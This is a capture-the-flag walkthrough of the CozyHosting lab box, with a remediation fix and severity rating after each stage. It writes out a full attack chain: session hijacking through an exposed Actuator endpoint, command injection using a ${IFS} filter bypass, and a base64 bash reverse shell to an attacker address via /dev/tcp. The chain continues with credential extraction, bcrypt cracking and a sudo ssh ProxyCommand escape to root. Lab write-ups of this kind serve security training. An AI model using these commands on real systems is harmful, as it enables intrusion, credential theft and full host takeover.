CozyHosting
Summary
I discovered that the Spring Boot application's Actuator management framework was publicly reachable and required no credentials, allowing the live session store to be read directly from the internet. A valid administrator session token was extracted from that endpoint, hijacked to reach the admin panel, and then I exploited an OS command injection flaw in the admin panel's SSH helper form — bypassing a naive space filter with a shell variable trick — to execute arbitrary code as the application service account.
From that foothold, I extracted plaintext PostgreSQL credentials from the bundled application JAR, queried the local database to obtain a bcrypt-hashed password for system user 'josh', cracked it offline in minutes against a public wordlist, and authenticated over SSH. A final misconfigured sudo rule granting unrestricted access to /usr/bin/ssh was abused via its ProxyCommand option to spawn an immediate root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for josh>"
export COOKIE="<the-session-cookie-you-captured>"Attack path — how the box was taken
Exact commands 2
List all exposed Actuator endpoints; look for /sessions, /env, /heapdump.
$ curl -sS -H 'Host: cozyhosting.htb' http://$TARGET/actuator | python3 -m json.toolDump the live server-side session store without any authentication.
$ curl -sS -H 'Host: cozyhosting.htb' http://$TARGET/actuator/sessionsFixDisable or authenticate Spring Boot Actuator endpoints before exposing the application to the internetCritical
Exact commands 1
Identify every live session token and its owner; copy the token for use in subsequent requests.
$ curl -sS -H 'Host: cozyhosting.htb' http://$TARGET/actuator/sessions | python3 -m json.toolExact commands 1
Confirm admin panel access with the hijacked cookie; identify available forms and actions.
$ curl -si -H 'Host: cozyhosting.htb' -b "JSESSIONID=$COOKIE" http://$TARGET/admin | head -60Exact commands 4
Proof-of-concept: confirm injection by printing uid= to stderr; no listener needed.
$ curl -i -sS -H 'Host: cozyhosting.htb' -b "JSESSIONID=$COOKIE" -X POST --data-urlencode 'host=127.0.0.1' --data-urlencode 'username=;id>&2;' http://$TARGET/executessh | tr -d '\r' | grep -E 'uid=|Location|command not found|usage'Encode the reverse shell; replace $ATTACKER_IP with your tun0 address. Copy the output as BASE64_PAYLOAD.
$ echo "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0Start the catch listener on the attack machine before sending the payload below.
$ nc -lvnp 4444Deliver the payload; ${IFS} replaces spaces to bypass the filter. Substitute BASE64_PAYLOAD with the encoded string from the previous step.
$ curl -sS -H 'Host: cozyhosting.htb' -b "JSESSIONID=$COOKIE" -X POST --data-urlencode 'host=127.0.0.1' --data-urlencode 'username=;echo${IFS}BASE64_PAYLOAD|base64${IFS}-d|bash;' http://$TARGET/executesshFixEliminate OS command injection in the SSH connection helperCritical
Exact commands 4
Extract the embedded Spring Boot config; look for spring.datasource.username and spring.datasource.password.
$ unzip -p /app/cloudhosting-0.0.1.jar BOOT-INF/classes/application.propertiesConnect to the local PostgreSQL instance using the credentials found above.
$ psql -h 127.0.0.1 -U cozyhosting -d cozyhostingRun inside psql to dump all usernames and bcrypt hashes; copy josh's hash to a local file.
$ SELECT name, password FROM users;Crack bcrypt (mode 3200) offline; recovers '$PASSWORD' in under a minute on typical hardware.
$ hashcat -m 3200 josh_hash.txt /usr/share/wordlists/rockyou.txt --forceFixRemove plaintext database credentials from the application JAR and use a secrets managerHigh
Exact commands 1
Log in as josh and confirm access; user -> <user.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null josh@$TARGET 'id; cat /home/josh/user.txt'FixEnforce strong, unique passwords and disable password-based SSH loginMedium
Exact commands 2
Confirm the sudo rule — expected output: (root) /usr/bin/ssh.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null josh@$TARGET "echo $PASSWORD | sudo -S -l"Execute commands as root via ProxyCommand escape; root -> <root.txt> Replace the payload with any desired root-level command.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null josh@$TARGET "echo '$PASSWORD' | sudo -S /usr/bin/ssh -o ProxyCommand=';sh -c \"id; cat /root/root.txt\" 1>&2' x"